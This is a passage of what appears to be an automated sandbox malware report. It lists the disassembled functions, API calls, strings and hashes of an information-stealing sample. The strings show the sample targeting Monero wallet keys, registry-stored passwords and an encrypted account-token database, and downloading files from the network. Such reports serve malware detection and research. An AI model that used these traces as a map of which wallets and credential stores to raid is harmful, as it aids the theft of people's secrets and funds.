Part of subcall function 00401260: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
Part of subcall function 00401260: RegCloseKey.ADVAPI32(?), ref: 004012BF

lstrcat.KERNEL32(?,00000000), ref: 0040130F
lstrlen.KERNEL32(?), ref: 0040131C
lstrcat.KERNEL32(?,.keys), ref: 00401337

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,00A5BC38,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401425

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

DeleteFileA.KERNEL32(00000000), ref: 004014A9
memset.MSVCRT ref: 004014D0

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,00A53D08), ref: 00404ED9

Strings

\Monero\wallet.keys, xrefs: 0040134D
SOFTWARE\monero-project\monero-core, xrefs: 004012F5
.keys, xrefs: 0040132B
wallet_path, xrefs: 004012F0

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$lstrlen$AllocCloseHeapLocalOpenmemset$ChangeCopyCreateDeleteFindFreeInternetNotificationProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2054947926-218353709
Opcode ID: 3f7dee62ca422ca08960b1ca68d5c48f640590b0ba367d8c308291c4c97b7170
Instruction ID: 465d6e3be360dc7981781b6de12631b9db2cd28431e3bfe2701297f35846b4c8
Opcode Fuzzy Hash: 3f7dee62ca422ca08960b1ca68d5c48f640590b0ba367d8c308291c4c97b7170
Instruction Fuzzy Hash: DD5123B195021897CB15EB61DD92BED773D9F54304F4041EDB60A62091DE385BC5CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406CA0: memset.MSVCRT ref: 00406CE4
Part of subcall function 00406CA0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
Part of subcall function 00406CA0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
Part of subcall function 00406CA0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
Part of subcall function 00406CA0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
Part of subcall function 00406CA0: HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

lstrcat.KERNEL32(2D35A020,0041DEB8), ref: 00406FD6
lstrcat.KERNEL32(2D35A020,00000000), ref: 00407018
lstrcat.KERNEL32(2D35A020, : ), ref: 0040702A
lstrcat.KERNEL32(2D35A020,00000000), ref: 0040705F
lstrcat.KERNEL32(2D35A020,0041DEC0), ref: 00407070
lstrcat.KERNEL32(2D35A020,00000000), ref: 004070A3
lstrcat.KERNEL32(2D35A020,0041DEC4), ref: 004070BD
task.LIBCPMTD ref: 004070CB

Strings

: , xrefs: 0040701E
h0A, xrefs: 00406FA6, 00406FA9
`v@, xrefs: 00406FAF, 004070C8, 00406FFE, 00407034, 0040707C, 00407045, 00406FB2

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: : $`v@$h0A
API String ID: 3191641157-3559972273
Opcode ID: 22c65c759e4008ac886b6aeda8a47d70719bcccf3909e077351c77a1654b374d
Instruction ID: d9fe8ddf8edd41d5d79e2c2aa3549d60ad86c8a123fe42dd1537da3b5299582f
Opcode Fuzzy Hash: 22c65c759e4008ac886b6aeda8a47d70719bcccf3909e077351c77a1654b374d
Instruction Fuzzy Hash: 4B318371E05504ABCB14EBA0DD99EFF7B75BF44305B104519F102BB290DA38BD46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00415710 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00415836

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: 502c6437b68df9ebafac7824f769d27e1159509f9fc69dda27a0b494477122c4
Instruction ID: 4e1e11a2c406ea1305e74ab4ef0d66e5904d243d4ada77d8c1e4b1ca7303bf9d
Opcode Fuzzy Hash: 502c6437b68df9ebafac7824f769d27e1159509f9fc69dda27a0b494477122c4
Instruction Fuzzy Hash: 30714CB5910608EBDB14EFE4EC85FEEB7B9BF48300F108509F515A7290DB38A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00406CA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CE4
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

Part of subcall function 00408C20: vsprintf_s.MSVCRT ref: 00408C3B

task.LIBCPMTD ref: 00406F25

Strings

Password, xrefs: 00406DD1

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction ID: 212e66a44237aadac39c144ffd634e87161c2b2b5cb707631054264fe3c499ea
Opcode Fuzzy Hash: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction Fuzzy Hash: 4F613FB5D042589BDB24DB50CC45BDAB7B8BF44304F0081EAE64AA6281DF746FC9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004141C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
HeapAlloc.KERNEL32(00000000), ref: 004142A7
wsprintfA.USER32 ref: 004142DD

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

:, xrefs: 004141F9
\, xrefs: 004141FD
C, xrefs: 004141E9

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: d969373abb6407061305e65922636402fed52bedc088db0106d8b5e98aa2e4a5
Instruction ID: 52054a8b39965f6583c41ffabf349f0ba0ed2356e3a02770a6039194ee1378f4
Opcode Fuzzy Hash: d969373abb6407061305e65922636402fed52bedc088db0106d8b5e98aa2e4a5
Instruction Fuzzy Hash: BA3194B0D00258EBDF20DFA4DC45BEE77B4AF48304F104099F5496B281DB78AAD5CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004093A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
LocalAlloc.KERNEL32(00000040,?), ref: 00409411
ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
LocalFree.KERNEL32('@), ref: 00409470
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Strings

'@, xrefs: 00409426, 00409449, 00409429, 0040946F
'@, xrefs: 004093C3, 00409486

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID: '@$'@
API String ID: 1815715184-345573653
Opcode ID: 48f4b7413470cb3276c60afe27c6050599c7e1b25b920e3e6a5c65917fe61f9c
Instruction ID: e17ca2bf8fb39da35cf654cfb04ed30359ebe63801e33f8f777122e55a65d6c5
Opcode Fuzzy Hash: 48f4b7413470cb3276c60afe27c6050599c7e1b25b920e3e6a5c65917fe61f9c
Instruction Fuzzy Hash: 0B31EA74A00209EFDB24DF94C885BAEB7B5BF48314F108169E915A73D0D778AD42CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414960 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,00A592F8,00000000,?,0041D774,00000000,?,00000000,00000000,?,00A59370), ref: 0041496D
HeapAlloc.KERNEL32(00000000), ref: 00414974
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
__aulldiv.LIBCMT ref: 004149AF
__aulldiv.LIBCMT ref: 004149BD
wsprintfA.USER32 ref: 004149E9

Strings

@, xrefs: 0041498A
%d MB, xrefs: 004149E0

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction ID: f510475f390b20142bb5ad9b480526056b42ea6839ab7368ec165d8bd78ed5c1
Opcode Fuzzy Hash: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction Fuzzy Hash: 84111EB0D40208ABDB10DFE4CC49FAE77B8BB48704F104549F715BB284D7B8A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405D40 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

InternetOpenA.WININET(0041D7D3,00000001,00000000,00000000,00000000), ref: 00405DAF
StrCmpCA.SHLWAPI(?,00A53D08), ref: 00405DE7
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00405E2F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00405E53
InternetReadFile.WININET(00410E73,?,00000400,?), ref: 00405E7C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00405EAA
FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00405EE9
InternetCloseHandle.WININET(00410E73), ref: 00405EF3
InternetCloseHandle.WININET(00000000), ref: 00405F00

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Internet$CloseFile$HandleOpen$ChangeCrackCreateFindNotificationReadWritelstrcpylstrlen
String ID:
API String ID: 729276229-0
Opcode ID: 8d9a3180b18a5efc90efd9d912cec60318239b29a62a7d3eda4b771ff523c89c
Instruction ID: 46018c2d0393d599e49b8942d3c4f4431f3cc1562104312217daf3d911a1fc92
Opcode Fuzzy Hash: 8d9a3180b18a5efc90efd9d912cec60318239b29a62a7d3eda4b771ff523c89c
Instruction Fuzzy Hash: DB514471A00618ABDB20DF51CC45BEF7779EB44305F1081AAB645B71C0DB78AB85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00413D90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00413D9E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

OpenProcess.KERNEL32(001FFFFF,00000000,00413FCD,0041D28B), ref: 00413DDC
memset.MSVCRT ref: 00413E2A
??_V@YAXPAX@Z.MSVCRT ref: 00413F7E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00413E4C

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 2f261ce3bb92f1d5b3ca7d05d4fb62aabc0a9f8ecbb4faf63a7455904fc8605d
Instruction ID: ba4a912f34a6ab240f03399ec897c117189ceb9282cc0eaf369c81769a73d46f
Opcode Fuzzy Hash: 2f261ce3bb92f1d5b3ca7d05d4fb62aabc0a9f8ecbb4faf63a7455904fc8605d
Instruction Fuzzy Hash: 35513DB0D003189BDB24EF51DC45BEEBB75AB48309F5041AEE11966281DB386BC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B250 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B44D

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040B47B
lstrlen.KERNEL32(00000000), ref: 0040B553
lstrlen.KERNEL32(00000000), ref: 0040B567

Strings

AccountId, xrefs: 0040B472
SELECT service, encrypted_token FROM token_service, xrefs: 0040B3BB
AccountTokens, xrefs: 0040B28A
AccountTokens, xrefs: 0040B319

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: fd37fc42120908ab6f768ab7777f98ac0a88473aad6bfadcf184a471fe89abd7
Instruction ID: df2f8e8a8ca21c55da42a3c6f19f5118b3684059388f817d0631ea5bb79e5354
Opcode Fuzzy Hash: fd37fc42120908ab6f768ab7777f98ac0a88473aad6bfadcf184a471fe89abd7
Instruction Fuzzy Hash: 07A164759102089BCF14FBA1DC52EEE7739BF54308F51416EF506B2191EF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00414B79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

RegQueryValueExA.KERNEL32(00000000,00A58FB0,00000000,000F003F,?,00000400), ref: 00414C89
lstrlen.KERNEL32(?), ref: 00414C9E
RegQueryValueExA.KERNEL32(00000000,00A58FC8,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,0041D4B4), ref: 00414D36
RegCloseKey.KERNEL32(00000000), ref: 00414DA5
RegCloseKey.ADVAPI32(00000000), ref: 00414DB7

Strings

%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 49bd180f3d19f789d073d9977c9b899b153d1fd3672ba65f9cf7a2d2756c86b8
Instruction ID: d244d91c33a18a5b0a6d9a0a642cdc181f43283702d6765b4fd500d7f5e12fa2
Opcode Fuzzy Hash: 49bd180f3d19f789d073d9977c9b899b153d1fd3672ba65f9cf7a2d2756c86b8
Instruction Fuzzy Hash: 59213875A0021CABDB64CB50DC85FE973B9BF88300F0085D9A649A6180DF74AAC6CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 00411D80 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411DA5
RegOpenKeyExA.KERNEL32(80000001,00A59798,00000000,00020119,?), ref: 00411DC4
RegQueryValueExA.ADVAPI32(?,00A5AE90,00000000,00000000,00000000,000000FF), ref: 00411DE8
RegCloseKey.ADVAPI32(?), ref: 00411DF2
lstrcat.KERNEL32(?,00000000), ref: 00411E17
lstrcat.KERNEL32(?,00A5B0D0), ref: 00411E2B

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction ID: 8aed71b150b2ed53c6c52757a29982c6d8c6785b9d22af2673d92710ece34b21
Opcode Fuzzy Hash: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction Fuzzy Hash: F641B4B2900108BBCB15EBE0DC86FEE733EAB88745F00454DF71A5A191EE7467848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,00A5BC38,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409BB1
lstrlen.KERNEL32(00000000), ref: 00409F6A

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000,00000000), ref: 00409CAD
DeleteFileA.KERNEL32(00000000), ref: 00409FEB

Strings

X@, xrefs: 00409BC4, 00409BF0, 00409FCD, 00409BC7, 00409BF3, 00409FD0

Memory Dump Source

Source File: 00000000.00000002.2069936609.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2069936609.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069936609.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_w3WOJ1ohgD.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID: X@
API String ID: 3258613111-2850556465
Opcode ID: e79fb9f195c3e48a275dfa2c43add675fae11a9713d31c003f81fdf3279e7e7f
Instruction ID: 70962d3f4e1e977daa55f2855abdfba287f36735b870bb76fdd61a7d9847a281
Opcode Fuzzy Hash: e79fb9f195c3e48a275dfa2c43add675fae11a9713d31c003f81fdf3279e7e7f
